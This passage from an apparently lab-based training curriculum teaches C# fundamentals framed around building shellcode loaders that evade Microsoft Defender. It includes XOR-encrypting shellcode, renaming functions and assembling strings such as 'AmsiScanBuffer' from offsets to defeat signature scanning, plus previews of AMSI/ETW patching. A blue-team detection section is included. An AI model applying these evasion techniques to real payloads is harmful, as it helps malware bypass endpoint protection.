            Console.WriteLine("[+] " + message);
        else
            Console.WriteLine("[-] " + message);
    }

    static byte[] HexToBytes(string hex)
    {
        byte[] bytes = new byte[hex.Length / 2];
        for (int i = 0; i < bytes.Length; i++)
        {
            bytes[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
        }
        return bytes;
    }

    static void Main(string[] args)
    {
        PrintBanner();

        PrintStatus("Program started.", true);

        string hexInput = "4A7F2B1C";
        byte[] keyBytes = HexToBytes(hexInput);

        Console.Write("[*] Converted \"" + hexInput + "\" to bytes: ");
        for (int i = 0; i < keyBytes.Length; i++)
        {
            Console.Write("0x" + keyBytes[i].ToString("X2") + " ");
        }
        Console.WriteLine();

        PrintStatus("Conversion complete.", true);
    }
}
```

Output:

=== Function Demo ===

[+] Program started.

[*] Converted "4A7F2B1C" to bytes: 0x4A 0x7F 0x2B 0x1C

[+] Conversion complete.

3.7.8 Part 7: XOR - The Simplest Encryption

Now that you understand variables, arrays, loops, and functions, you are ready for the first concept that directly connects to evasion.

Here is the problem. Defender has a database of byte patterns that belong to known malware. When your shellcode sits in a file on your hard drive, Defender opens that file, reads the whole thing from start to end, and checks whether any bytes match something in its database of known bad patterns. If there is a match, it blocks the file. So you need a way to change the bytes in the file so Defender does not recognize them, but your loader can change them back when it is time to run the code.

The solution is XOR, which stands for “exclusive or.” XOR is an operation you perform on two numbers. The practical thing you need to know is this: if you XOR a number with a key, you get a different number. If you XOR that result with the same key again, you get the original number back. XOR is both the lock and the key.

Let me show you with a single byte first:

```
byte original = 0xFC;
byte key = 0x4A;
```

0xFC is the first byte of most shellcode payloads. It is the machine instruction `cld` (clear direction flag). Defender knows this byte pattern. 0x4A is our encryption key, just a number we chose.

```
byte encrypted = (byte)(original ^ key);
```

The `^` symbol is XOR in C#. This takes 0xFC and XORs it with 0x4A. The result is 0xB6, which is a completely different byte that does not match any shellcode signature. The `(byte)` at the beginning is needed because C# internally converts the result to a bigger number type, and we need to tell it we want a byte back.

```
byte decrypted = (byte)(encrypted ^ key);
```

Now XOR the encrypted value 0xB6 with the same key 0x4A again. The result is 0xFC, the original value. That is the whole point of XOR: apply it once to encrypt, apply it again with the same key to decrypt.

```
Console.WriteLine("Original: 0x" + original.ToString("X2"));
Console.WriteLine("Encrypted: 0x" + encrypted.ToString("X2"));
Console.WriteLine("Decrypted: 0x" + decrypted.ToString("X2"));
```

Output:

```
Original: 0xFC
Encrypted: 0xB6
Decrypted: 0xFC
```

Now apply this to an entire array of bytes, which is how the loaders encrypt and decrypt shellcode:

```
byte[] shellcode = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 };
byte xorKey = 0x4A;

byte[] encrypted_data = new byte[shellcode.Length];
```

We have the shellcode bytes and a key. We create an empty array the same size as the shellcode to hold the encrypted version.

```
for (int i = 0; i < shellcode.Length; i++)
{
    encrypted_data[i] = (byte)(shellcode[i] ^ xorKey);
}
```

The loop goes through each byte in the shellcode array, XORs it with the key, and stores the result in the encrypted array. After this loop, `encrypted_data` contains bytes that look nothing like the original shellcode. Defender will not recognize them.

To decrypt, run the exact same loop on the encrypted data:

```
byte[] decrypted_data = new byte[encrypted_data.Length];
for (int i = 0; i < encrypted_data.Length; i++)
{
    decrypted_data[i] = (byte)(encrypted_data[i] ^ xorKey);
}
```

Same operation, same key. The decrypted data matches the original shellcode.

Here is the complete program:

```
using System;

class Program
{
    static void Main(string[] args)
    {
        byte[] shellcode = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 };
        byte xorKey = 0x4A;

        Console.WriteLine("Original: ");
        for (int i = 0; i < shellcode.Length; i++)
            Console.Write(shellcode[i].ToString("X2") + " ");
        Console.WriteLine();

        byte[] encrypted_data = new byte[shellcode.Length];
        for (int i = 0; i < shellcode.Length; i++)
            encrypted_data[i] = (byte)(shellcode[i] ^ xorKey);

        Console.WriteLine("Encrypted: ");
        for (int i = 0; i < encrypted_data.Length; i++)
            Console.Write(encrypted_data[i].ToString("X2") + " ");
        Console.WriteLine();

        byte[] decrypted_data = new byte[encrypted_data.Length];
```

```

        for (int i = 0; i < encrypted_data.Length; i++)
            decrypted_data[i] = (byte)(encrypted_data[i] ^ xorKey);

        Console.Write("Decrypted: ");
        for (int i = 0; i < decrypted_data.Length; i++)
            Console.Write(decrypted_data[i].ToString("X2") + " ");
        Console.WriteLine();
    }
}

```

Output:

```

Original:  FC 48 83 E4 F0
Encrypted:  B6 02 C9 AE BA
Decrypted:  FC 48 83 E4 F0

```

The encrypted bytes (B6 02 C9 AE BA) are completely different from the original (FC 48 83 E4 F0). Defender has no signature for B6 02 C9 AE BA because it is not real shellcode, it is encrypted data. When the loader runs, it decrypts the data in RAM and then executes it. Defender's file scanner only sees the encrypted version sitting on your hard drive, which matches nothing in its database.

3.7.9 Part 8: Multi-Byte XOR Keys

Using a single byte as the key (like 0x4A) is simple but weak. If someone figures out the key, they can decrypt your shellcode. A multi-byte key (like 4 or 16 bytes) is much stronger and is what the loaders actually use.

With a multi-byte key, you cycle through the key bytes. The first byte of data is XORed with the first byte of the key, the second byte with the second key byte, and so on. When you reach the end of the key, you start over from the beginning.

```

static byte[] TransformData(byte[] data, byte[] key)
{
    byte[] result = new byte[data.Length];

```

The function takes two byte arrays: the data to encrypt/decrypt, and the key. It creates a result array the same size as the data.

```

        for (int i = 0; i < data.Length; i++)
        {
            result[i] = (byte)(data[i] ^ key[i % key.Length]);
        }

```

`i % key.Length` is the important part. The `%` operator gives you the remainder after division. If the key is 4 bytes long, then `0 % 4 = 0`, `1 % 4 = 1`, `2 % 4 = 2`, `3 % 4 = 3`, `4 % 4 = 0`, `5 % 4 = 1`, and so on. It cycles through positions 0, 1, 2, 3, 0, 1, 2, 3 forever. This means the key repeats over the entire data, no matter how long the data is.

```

        return result;
    }

```

Return the encrypted (or decrypted) result.

This function is called `TransformData` in the loaders, not `XorEncrypt` or `XorDecrypt`. When you compile a C# program, every function name you write gets stored as readable text inside the .exe file on your hard drive. You can open the compiled .exe in Notepad right now and you will literally see `XorEncrypt` or `XorDecrypt` sitting there as readable text inside all the garbage characters. Defender opens that .exe file, reads the whole thing from start to end, and checks whether any text inside it matches strings in its database of known bad names. `XorDecrypt` is in that database because every offensive C# tool has used that name. Changing the name to `TransformData` means the .exe file on your hard drive contains `TransformData` instead, and Defender finds no match. The function works exactly the same regardless of what you name it.

Here is the complete program:

```
using System;

class Program
{
    static byte[] TransformData(byte[] data, byte[] key)
    {
        byte[] result = new byte[data.Length];
        for (int i = 0; i < data.Length; i++)
        {
            result[i] = (byte)(data[i] ^ key[i % key.Length]);
        }
        return result;
    }

    static void PrintHex(string label, byte[] data)
    {
        Console.Write(label);
        for (int i = 0; i < data.Length; i++)
            Console.Write(data[i].ToString("X2") + " ");
        Console.WriteLine();
    }

    static void Main(string[] args)
    {
        byte[] shellcode = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xCC, 0x00 };
        byte[] key = new byte[] { 0x4A, 0x7F, 0x2B, 0x1C };

        PrintHex("Original: ", shellcode);

        byte[] encrypted = TransformData(shellcode, key);
        PrintHex("Encrypted: ", encrypted);

        byte[] decrypted = TransformData(encrypted, key);
        PrintHex("Decrypted: ", decrypted);
    }
}
```

Output:

```
Original:  FC 48 83 E4 F0 E8 CC 00
Encrypted: B6 37 A8 F8 BA 97 E7 1C
Decrypted: FC 48 83 E4 F0 E8 CC 00
```

The key {0x4A, 0x7F, 0x2B, 0x1C} is 4 bytes. It encrypts 8 bytes of shellcode by cycling through twice. The encrypted output is completely different from the original. Decrypting with the same key and same function gives back the original.

3.7.10 Part 9: Reading and Writing Files

Every loader reads a file from your hard drive. The shellcode (encrypted or not) lives in a binary file, and the loader reads it into a byte array. C# makes this simple with two functions.

```
using System.IO;
```

First, add `System.IO` at the top of your file. IO stands for Input/Output and contains file operations.

```
byte[] testData = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 };  
File.WriteAllBytes("test.bin", testData);
```

`File.WriteAllBytes` takes a file path and a byte array, and writes the bytes to a file. If the file does not exist, it creates it. If it exists, it overwrites it. After this line, there is a file called `test.bin` on your hard drive containing those 5 bytes.

```
byte[] loaded = File.ReadAllBytes("test.bin");
```

`File.ReadAllBytes` reads the entire file into a byte array. After this line, `loaded` contains the same 5 bytes that were written to the file. This is the main way every loader gets shellcode from disk into RAM.

```
Console.WriteLine("Wrote " + testData.Length + " bytes to file.");  
Console.WriteLine("Read " + loaded.Length + " bytes from file.");
```

You can check that the number of bytes matches.

In the real loaders, the file path comes from the command line, not hardcoded:

```
if (args.Length < 1)  
{  
    Console.WriteLine("Usage: loader.exe <data.bin>");  
    return;  
}  
  
string filePath = args[0];
```

`args` is the array of command-line arguments. `args[0]` is the first argument. When you run `loader.exe encrypted.bin`, `args[0]` is "encrypted.bin". The `if` check makes sure the user actually provided an argument before trying to use it.

You can also check if the file exists before trying to read it:

```
if (!File.Exists(filePath))
{
    Console.WriteLine("[-] File not found: " + filePath);
    return;
}

byte[] fileData = File.ReadAllBytes(filePath);
Console.WriteLine("[+] Loaded " + fileData.Length + " bytes from " + filePath);
```

`File.Exists` returns true if the file is there, false if it is not. The `!` before it means “not”, so `!File.Exists(filePath)` means “if the file does NOT exist.”

Here is the complete program:

```
using System;
using System.IO;

class Program
{
    static void Main(string[] args)
    {
        byte[] testData = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 };
        string testFile = "test.bin";

        File.WriteAllBytes(testFile, testData);
        Console.WriteLine("[+] Wrote " + testData.Length + " bytes to " + testFile);

        byte[] loaded = File.ReadAllBytes(testFile);
        Console.WriteLine("[+] Read " + loaded.Length + " bytes from " + testFile);

        Console.Write("[*] Contents: ");
        for (int i = 0; i < loaded.Length; i++)
            Console.Write(loaded[i].ToString("X2") + " ");
        Console.WriteLine();

        File.Delete(testFile);
        Console.WriteLine("[+] Test file cleaned up.");
    }
}
```

Output:

```
[+] Wrote 5 bytes to test.bin
[+] Read 5 bytes from test.bin
[*] Contents: FC 48 83 E4 F0
[+] Test file cleaned up.
```

3.7.11 Part 10: Command-Line Arguments

Every loader accepts input from the command line: the shellcode file path, the encryption key, sometimes a target process name. This way, the same compiled binary works with any payload and any key without changing the source code.

```
static void Main(string[] args)
{
```

`args` is an array of strings. Every word you type after the program name becomes one entry in this array:

```
    Console.WriteLine("Number of arguments: " + args.Length);

    for (int i = 0; i < args.Length; i++)
    {
        Console.WriteLine("args[" + i + "] = " + args[i]);
    }
```

If you run: `dotnet run -- encrypted.bin 4A7F2B1C explorer`

Output:

```
Number of arguments: 3
args[0] = encrypted.bin
args[1] = 4A7F2B1C
args[2] = explorer
```

The `--` when using `dotnet run` separates dotnet's own arguments from your program's arguments. Everything after `--` goes into `args`.

The loaders check how many arguments were provided and show usage instructions if something is missing:

```
if (args.Length < 2)
{
    Console.WriteLine("Usage: loader.exe <data.bin> <key_hex> [target]");
    Console.WriteLine("  data.bin:  encrypted data file");
    Console.WriteLine("  key_hex:  decryption key in hex");
    Console.WriteLine("  target:   optional target process");
    return;
}

string filePath = args[0];
string keyHex = args[1];
```

The third argument is optional. The loaders handle optional arguments with a conditional expression:

```
string target = args.Length >= 3 ? args[2] : "explorer";
```

This reads as: if `args` has at least 3 elements, use `args[2]` as the target, otherwise use “explorer” as the default. The `?` and `:` are the ternary operator, which is a compact if/else on a single line.

Since command-line arguments are always strings, you need to convert them when you need a different type. To convert a string to an integer:

```
int port = int.Parse(args[1]);
```

`int.Parse` converts the string “4444” to the number 4444. If the string is not a valid number, this crashes, but for our loaders the inputs are always correct because you control what you type.

Here is the complete program:

```
using System;

class Program
{
    static byte[] HexToBytes(string hex)
    {
        byte[] bytes = new byte[hex.Length / 2];
        for (int i = 0; i < bytes.Length; i++)
        {
            bytes[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
        }
        return bytes;
    }

    static void Main(string[] args)
    {
        if (args.Length < 2)
        {
            Console.WriteLine("Usage: program.exe <file> <key_hex> [target]");
            return;
        }

        string filePath = args[0];
        string keyHex = args[1];
        string target = args.Length >= 3 ? args[2] : "explorer";

        Console.WriteLine("[*] File:   " + filePath);
        Console.WriteLine("[*] Key:    " + keyHex);
        Console.WriteLine("[*] Target: " + target);

        byte[] key = HexToBytes(keyHex);
        Console.WriteLine("[+] Key bytes: ");
        for (int i = 0; i < key.Length; i++)
            Console.Write("0x" + key[i].ToString("X2") + " ");
        Console.WriteLine();
    }
}
```

Run: `dotnet run -- payload.bin 4A7F2B1C svchost`

Output:

```
[*] File:   payload.bin
[*] Key:    4A7F2B1C
[*] Target: svchost
[+] Key bytes: 0x4A 0x7F 0x2B 0x1C
```

3.7.12 Part 11: The Marshal Class - Moving Data Between C# and Raw RAM

This is the last concept before we move to Windows API calls in Document 03. It is slightly more advanced but it is critical for understanding what the loaders do.

Your computer has RAM (Random Access Memory), which is a rectangular chip on your motherboard that stores data temporarily while programs run. When you run a C# program, C# manages a section of RAM for you automatically. It decides where your variables and arrays go, it cleans them up when you are done, and it can even move them around. This section of RAM that C# controls is called managed memory.

But Windows API functions do not work with C#'s managed memory. They work with raw RAM addresses directly. When you call `VirtualAlloc` (which you will learn in Document 03) to request RAM from Windows, Windows gives you a raw address in RAM. That address is not managed by C#. C# does not know what is stored there, cannot clean it up, and cannot move it. This section of RAM is called unmanaged memory.

The problem: your shellcode starts as a C# byte array (in managed memory), but it needs to end up at a raw RAM address (in unmanaged memory) where the CPU can execute it. You need a way to copy data from one to the other. That is what the `Marshal` class does.

```
using System.Runtime.InteropServices;
```

Add this at the top. The `Marshal` class lives in this section of C#.

The most important `Marshal` function for the loaders is `Marshal.Copy`. It copies bytes from a C# byte array to a raw RAM address:

```
byte[] data = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 };  
  
IntPtr memory = Marshal.AllocHGlobal(data.Length);
```

`Marshal.AllocHGlobal` requests a block of raw (unmanaged) RAM and returns its address as an `IntPtr`. This is similar to what `VirtualAlloc` does in the loaders, but simpler. The address is a number that tells the CPU exactly where in RAM that block starts.

```
Marshal.Copy(data, 0, memory, data.Length);
```

`Marshal.Copy` takes 4 arguments: the source byte array, the starting position in the array (0 means start from the beginning), the destination RAM address, and how many bytes to copy. After this call, the raw RAM at address `memory` contains the same bytes as the `data` array.

This is the core operation in every loader. The loader reads shellcode into a byte array, requests RAM using a Windows function, and then copies the shellcode bytes into that RAM using `Marshal.Copy`. The shellcode is now in RAM and ready to execute.

After copying, you should clear the original byte array so the shellcode does not sit in two places at once:

```
Array.Clear(data, 0, data.Length);
```

`Array.Clear` sets every byte in the array to 0. This is a security practice. If Defender's memory scanner runs, the shellcode exists only in the requested RAM, not in the C# array.

```
byte firstByte = Marshal.ReadByte(memory);
Console.WriteLine("First byte at address: 0x" + firstByte.ToString("X2"));
```

`Marshal.ReadByte` reads a single byte from a raw RAM address. This is useful for verifying that the copy worked.

```
Marshal.FreeHGlobal(memory);
```

`Marshal.FreeHGlobal` gives the RAM back to the system. In the loaders, you usually do not free RAM because the shellcode needs to keep running in it. But for a test like this, you clean up.

Here is the complete program:

```
using System;
using System.Runtime.InteropServices;

class Program
{
    static void Main(string[] args)
    {
        byte[] data = new byte[] { 0xFC, 0x48, 0x83, 0xE4, 0xF0 };
        Console.WriteLine("[*] Data has " + data.Length + " bytes.");

        IntPtr memory = Marshal.AllocHGlobal(data.Length);
        Console.WriteLine("[+] Allocated memory at: 0x" + memory.ToString("X"));

        Marshal.Copy(data, 0, memory, data.Length);
        Console.WriteLine("[+] Copied " + data.Length + " bytes to memory.");

        Array.Clear(data, 0, data.Length);
        Console.WriteLine("[+] Cleared source array.");

        byte firstByte = Marshal.ReadByte(memory);
        Console.WriteLine("[*] Byte at memory address: 0x" + firstByte.ToString("X2"));

        Marshal.FreeHGlobal(memory);
        Console.WriteLine("[+] Memory freed.");
    }
}
```

Output:

```
[*] Data has 5 bytes.
[+] Allocated memory at: 0x<some_address>
[+] Copied 5 bytes to memory.
[+] Cleared source array.
[*] Byte at memory address: 0xFC
[+] Memory freed.
```

The address will be different every time you run it because the operating system assigns addresses dynamically.

3.7.13 Part 12: Building Strings from Numbers (Avoiding Static Detection)

This last section connects directly to evasion. In Loaders 04, 07, and 08, the code needs to reference specific Windows function names like “AmsiScanBuffer” and “EtwEventWrite”. If you write `string funcName = "AmsiScanBuffer";` in your code and compile it, that exact text gets written into the .exe file on your hard drive. You can open the compiled .exe in Notepad right now and you will literally see `AmsiScanBuffer` sitting there as readable text inside all the garbage characters. Defender opens that .exe file, reads the whole thing from start to end, and checks whether any text inside it matches strings in its database of known bad names. `AmsiScanBuffer` is in that database.

The solution: instead of storing the string, store the numbers that correspond to each character. Every character has a numeric value (its ASCII code). ‘A’ is 65, ‘B’ is 66, ‘a’ is 97, and so on. If you store the numbers and build the string at runtime, the string never appears in the compiled file.

The loaders use a function called `FromOffsets` that takes a base number and a list of offsets:

```
static string FromOffsets(int baseVal, params int[] offsets)
{
    char[] c = new char[offsets.Length];
```

The function creates a character array the same size as the number of offsets.

```
    for (int i = 0; i < offsets.Length; i++)
        c[i] = (char)(baseVal + offsets[i]);
```

For each offset, it adds the base value to the offset and converts the result to a character. If the base is 32 and the offset is 33, you get $32 + 33 = 65$, which is ‘A’. If the offset is 77, you get $32 + 77 = 109$, which is ‘m’.

```
    return new string(c);
}
```

Convert the character array to a string and return it.

The `params` keyword means you can pass any number of values and C# automatically collects them into an array. So you call it like:

```
string name = FromOffsets(32, 33, 77, 83, 73);
```

And C# treats `33, 77, 83, 73` as the array `{33, 77, 83, 73}`.

The compiled .exe on your hard drive contains only the numbers 32, 33, 77, 83, 73. You can open it in Notepad and you will NOT see “Amsi” anywhere. You will only see those integer values sitting in the file, which Defender’s database has no entry for. The string “Amsi” is assembled character by character in RAM only when the program runs, and the file scanner never looks at RAM.

Here is the complete program:

```
using System;

class Program
{
    static string FromOffsets(int baseVal, params int[] offsets)
    {
        char[] c = new char[offsets.Length];
        for (int i = 0; i < offsets.Length; i++)
            c[i] = (char)(baseVal + offsets[i]);
        return new string(c);
    }

    static void Main(string[] args)
    {
        string s1 = FromOffsets(32, 33, 77, 83, 73, 51, 67, 65, 78, 34, 85, 70, 70, 69, 82);
        Console.WriteLine("Built: " + s1);

        string s2 = FromOffsets(32, 75, 69, 82, 78, 69, 76, 19, 18, 14, 68, 76, 76);
        Console.WriteLine("Built: " + s2);

        string s3 = FromOffsets(32, 78, 84, 68, 76, 76);
        Console.WriteLine("Built: " + s3);
    }
}
```

Output:

```
Built: AmsiScanBuffer
Built: kernel32.dll
Built: ntdll
```

The strings “AmsiScanBuffer”, “kernel32.dll”, and “ntdll” exist only when the program runs, built in RAM from integer arithmetic. They are not stored anywhere in the .exe file on your hard drive. Defender opens that .exe, reads the whole thing from start to end, and finds only integer constants. The file scanner has nothing to match against. This is how the loaders reference sensitive Windows function and DLL names without triggering Defender’s static scanner.

3.8 Compilation and Execution

For every example in this document:

1. Open the Lesson folder on the dev box: `cd C:\Users\ammulu\Desktop\CSharpLab\Lesson`
2. Edit Program.cs with the example code
3. Run: `dotnet run`
4. For programs that use command-line arguments: `dotnet run -- arg1 arg2 arg3`

The `--` separates dotnet’s arguments from your program’s arguments.

3.9 Confirming Success

After completing this document, verify you can do each of these:

- ☐ Write a C# program with the correct structure (using, class, Main)
- ☐ Create variables of different types (int, byte, string, bool, IntPtr)

- ☐ Use if/else to check conditions and handle errors
- ☐ Write a for loop that processes every element in an array
- ☐ Create byte arrays, access individual bytes, and print them as hex
- ☐ Write a function that takes parameters and returns a result
- ☐ XOR-encrypt a byte array with a single-byte key
- ☐ XOR-encrypt a byte array with a multi-byte key using the modulo cycle
- ☐ Read a binary file into a byte array with File.ReadAllBytes
- ☐ Parse command-line arguments from args
- ☐ Use Marshal.Copy to move bytes between a C# array and a RAM address
- ☐ Build a string from integer offsets using FromOffsets

3.10 What Was Gained

You now know enough C# to understand every loader in this curriculum. Here is specifically what connects to the loaders:

Variables and types let you store process IDs, port numbers, RAM addresses, and the results of Windows function calls. The `IntPtr` type holds RAM addresses returned by functions like `VirtualAlloc`.

If statements are used after every Windows function call to check whether it succeeded or failed. If the RAM request fails, the loader stops. If a process cannot be opened, the loader stops. This error-checking pattern appears dozens of times across the 8 loaders.

Loops process shellcode byte by byte. XOR encryption, hex conversion, building strings from offsets, and printing diagnostic output all use loops to go through arrays.

Byte arrays are the core data structure. Shellcode is a byte array. XOR keys are byte arrays. The patch bytes that disable AMSI and ETW are byte arrays. Everything the loaders work with is bytes.

Functions organize code into reusable pieces. `TransformData` handles XOR. `HexToBytes` converts command-line keys. `FromOffsets` builds strings. `PatchTelemetry` disables ETW. `PatchScanner` disables AMSI. Each piece of functionality is a function.

File reading gets shellcode from your hard drive into RAM. Every loader starts by reading a .bin file with `File.ReadAllBytes`.

Command-line arguments make the loaders flexible. The same binary works with different payloads, different keys, and different target processes.

Marshal.Copy moves bytes from C# managed memory into raw RAM that Windows functions work with. This is the step between “shellcode in a byte array” and “shellcode in executable RAM.”

FromOffsets hides sensitive strings from static scanners. Without it, every loader would contain strings like “`AmsiScanBuffer`” and “`EtwEventWrite`” that Defender immediately flags.

3.11 Common Threats and Variations

3.11.1 Variation 1: Top-Level Statements

.NET 6 and later lets you skip the class and Main wrapper:

```
Console.WriteLine("Hello");
```

This works but the loaders use the explicit structure because it is clearer when you have multiple functions. Both produce the same compiled output.

3.11.2 Variation 2: String Interpolation

Instead of joining strings with +:

```
Console.WriteLine($"Target: {targetIP}:{port}");
```

The `$` before the quotes lets you put variables directly in the text inside `{}`. This is cleaner but does the same thing.

3.11.3 Variation 3: LINQ and Modern C

C# has powerful features like LINQ, `async/await`, generics, and lambda expressions. The loaders do not use any of these. You do not need them for evasion development. If you learn them later for other projects, great, but they are not part of this curriculum.

3.12 Detection and Defense (Blue Team Perspective)

The C# concepts in this document create specific detection opportunities for defenders:

String scanning. Defenders can scan .NET binaries sitting on the hard drive for suspicious strings. If a compiled .exe contains “shellcode”, “inject”, “bypass”, or Windows function names like “AmsiScanBuffer”, that is a strong malware indicator. Tools like YARA with .NET-aware rules can automate this.

Blue team action: deploy YARA rules that match known offensive C# tool strings. Florian Roth’s signature-base repository has rules for this.

Method name analysis. .NET metadata includes all function names. “XorDecrypt” or “Inject-Shellcode” are red flags. Tools like dnfile can extract .NET metadata for automated scanning.

Blue team action: scan .NET assemblies for method names matching offensive patterns. Create alerts for binaries with methods named after known attack techniques.

Import table inspection. When a C# program uses `DllImport` to call Windows functions, those names appear in the PE import table. Certain combinations (`VirtualAlloc` + `WriteProcessMemory` + `CreateRemoteThread`) are the classic injection pattern.

Blue team action: monitor for executables that import suspicious API combinations. Endpoint detection tools can flag these at load time.

3.13 What Comes Next

Start Document 03 (lab/materials/03_windows_api.md). It teaches how C# talks to the Windows operating system. You will learn to call Windows functions that request RAM, change RAM permissions, and create threads. These are the building blocks that every loader uses to actually execute shellcode.

Document 03: Windows API - How Your Program Talks to Windows

4.1 Where We Are

You finished Document 02 and can write C# programs that store data in variables, make decisions with if/else, loop through arrays, create byte arrays, write functions, XOR-encrypt data, read files, parse command-line arguments, use Marshal.Copy, and build strings from integer offsets.

Your lab has three machines on 192.168.10.0/24: the dev box (ammulu, 192.168.10.150) where you compile code (Defender disabled), the target (kimjongun, 192.168.10.100) with Defender at full defaults, and Kali (192.168.10.200) for shellcode generation and listeners. All coding in this document happens on the dev box.

4.2 Why This Is Next

Every program you wrote in Document 02 does two things: it processes data (math, XOR, loops) and it prints text to the screen. That is all C# can do by itself.

But the shellcode loaders in Documents 05 through 10 need to do things that C# cannot do by itself. They need to request a chunk of RAM from Windows, mark that chunk as executable so the CPU can run code from it, copy shellcode bytes into it, and tell the CPU to start running those bytes. Only the Windows operating system can do these things. Your program has to ask Windows to do them.

The way a program asks Windows to do something is by calling a Windows API function. This document teaches you what the Windows API is, what these terms mean, and how to call Windows functions from your C# code.

4.3 How This Works

4.3.1 What Is RAM and Why Programs Need It

Your computer has a component called RAM, which stands for Random Access Memory. It is a rectangular chip, about the size of a ruler, that plugs into a slot on your motherboard. When your computer says “16 GB RAM” that is how much of it is installed.

RAM is where programs actually run. When you double-click Chrome on your desktop, Windows copies Chrome from your hard drive into RAM and runs it from there. Why not just run

it from the hard drive? Because RAM is thousands of times faster than a hard drive. Your CPU (the processor chip that runs instructions) needs that speed to run programs smoothly.

Now here is the important part for us. When you close Chrome, whatever was in RAM is gone. RAM is temporary. Everything stored in RAM disappears when you shut down your computer. Defender's file scanner checks files on your hard drive, but data sitting in RAM does not get checked by the file scanner. This is why we run shellcode in RAM instead of saving it as a file on the hard drive.

Open Task Manager on your dev box (press Ctrl+Shift+Esc), click the Performance tab, and you can see how much RAM your system is using right now. That is real programs sitting in real RAM.

4.3.2 What Windows Does When You Use Your Computer

Right now on your dev box, dozens of things are happening. Explorer is showing your desktop, Visual Studio is running in the background, the taskbar clock is updating every minute, your mouse cursor is moving around. None of these programs handle all of this by themselves. They all ask Windows to do the work.

When you double-click a .exe file on your desktop, Windows copies that program from the hard drive into RAM, creates a new process for it, and starts running it. When the program wants to show a window on screen, it asks Windows to create the window. Windows draws the title bar, the close button, the minimize button, and the window border.

Try it right now. Right-click on your desktop. A menu appears with options like "New," "Display settings," "Personalize." That menu was created by a Windows function. The desktop program told Windows "show a menu with these options next to the mouse cursor," and Windows drew it, positioned it, and detected your click.

This is not limited to things you see on screen:

- When a program reads a file from your hard drive, it calls a Windows function
- When a program connects to the internet, it calls a Windows function
- When Task Manager shows you running processes, it calls Windows functions to get that information
- When a program shows a "Save As" dialog, that entire dialog is a single Windows function call

Windows controls everything on the computer. Programs run on top of Windows and ask it to do things by calling functions.

4.3.3 What Is the Windows API

The collection of all the functions that Windows provides for programs to call is called the **Windows API**. API stands for Application Programming Interface.

You already know what an API is from web development: you send a request to a server, and the server does the work and sends back a result. The Windows API is the same idea, except your program is calling functions on the same computer instead of sending HTTP requests to a remote server.

4.3.4 Connecting This to Web APIs You Already Know

You know web APIs. When you send an HTTP GET request to <https://api.github.com/users/octocat>, GitHub's server processes your request and sends

back JSON data about that user. You did not write the code that queries GitHub's database. You called their API, and their server did the work and gave you the result.

The Windows API works the same way, but instead of sending HTTP requests over the internet, your program calls functions on the local machine. Instead of URLs, you use function names. Instead of JSON request bodies, you pass parameters. Instead of JSON responses, you get return values.

Web API example: You call `POST /api/send-notification` with `{"title": "Alert", "message": "Build complete"}`. The server creates the notification and sends it.

Windows API example: You call a function named `MessageBox` with the parameters `"Alert"` and `"Build complete"`. Windows creates a dialog box on your screen with that title and message, with an OK button, and waits for you to click it.

Both cases are the same idea: you ask a system to do work for you by calling a function with parameters, and the system does the work. With web APIs, the system is a remote server. With the Windows API, the system is Windows running on your own machine.

4.3.5 Where Windows API Functions Live: DLL Files

Windows has thousands of API functions. They are organized into files called **DLLs**. DLL stands for Dynamic Link Library. A DLL is a file on your hard drive that contains a collection of compiled functions that any program can call.

You can see these files right now. Open File Explorer on your dev box and go to `C:\Windows\System32\`. You will see hundreds of .dll files. Each file contains a group of related functions.

The four DLLs that matter for this curriculum:

kernel32.dll - Core operations. Functions for working with RAM (requesting it, giving it back, changing permissions), managing processes (starting programs, opening running programs), managing threads (creating new threads inside a program), and working with files. This is the most important DLL for the loaders because it has the RAM and thread functions needed to run shellcode.

user32.dll - Screen and interface. Creating windows, showing dialog boxes, handling mouse clicks, drawing menus. Not important for the loaders, but useful for learning because the functions produce results you can see on your screen immediately.

ntdll.dll - Lowest-level functions before the Windows kernel. Every function in `kernel32.dll` internally calls a function in `ntdll.dll` to do the real work. For example, when you call `VirtualAlloc` from `kernel32.dll`, `kernel32` internally calls `NtAllocateVirtualMemory` in `ntdll.dll`, and `ntdll` makes the actual request to the Windows kernel.

This matters for evasion: Defender inserts monitoring code inside `kernel32.dll` functions. If you skip `kernel32.dll` and call `ntdll.dll` directly, Defender's monitoring code never runs. Document 07 teaches this.

amsi.dll - Antimalware Scan Interface. When PowerShell wants to check if a script is malicious before running it, it calls a function in `amsi.dll`. That function sends the script to Defender for scanning. If Defender says the script is malware, `amsi.dll` tells PowerShell to block it. Document 08 teaches you to modify `amsi.dll`'s functions so they stop sending scripts to Defender.

4.3.6 How C# Calls a Windows API Function

All the C# programs you wrote in Document 02 run inside something called the **.NET runtime**. The .NET runtime is a layer between your C# code and the operating system. It manages your program's RAM, handles type checking, and cleans up after your program.

Windows API functions are not written in C#. They are written in C and C++ and run directly on the operating system, outside the .NET runtime. So there is a gap: your C# code runs inside the .NET runtime, and Windows functions run outside it.

C# has a built-in feature that crosses this gap. The feature is called **P/Invoke**, which stands for Platform Invoke. “Platform” means the Windows platform (the operating system). “Invoke” means to call. P/Invoke lets you describe a Windows function in your C# code and then call it as if it were a normal C# function.

How you use P/Invoke:

1. Write `[DllImport("dllname.dll")]` to tell C# which DLL the function lives in
2. Describe the function’s name, parameters, and return type
3. Call it like any other function

C# handles everything in between: it finds the DLL file, locates the function inside it, converts your C# data to the format the Windows function expects, calls the function, and converts the result back to C# format.

4.4 What Defender Does

Defender monitors how programs interact with Windows API functions at three levels:

Scanning the import table. When you compile a C# program that uses `DllImport`, the compiled file contains a list of every DLL and function your program calls. This list is called the **import table**. Defender reads this list before the program even runs.

If the import table shows `VirtualAlloc` + `CreateThread` + `WriteProcessMemory` together, Defender flags it as suspicious because that combination is commonly used for code injection.

Hooking functions. When your program runs and calls `VirtualAlloc` from `kernel32.dll`, Defender has already modified the beginning of that function. Defender inserted a small piece of code (called a **hook**) that redirects the call to Defender’s monitoring code first.

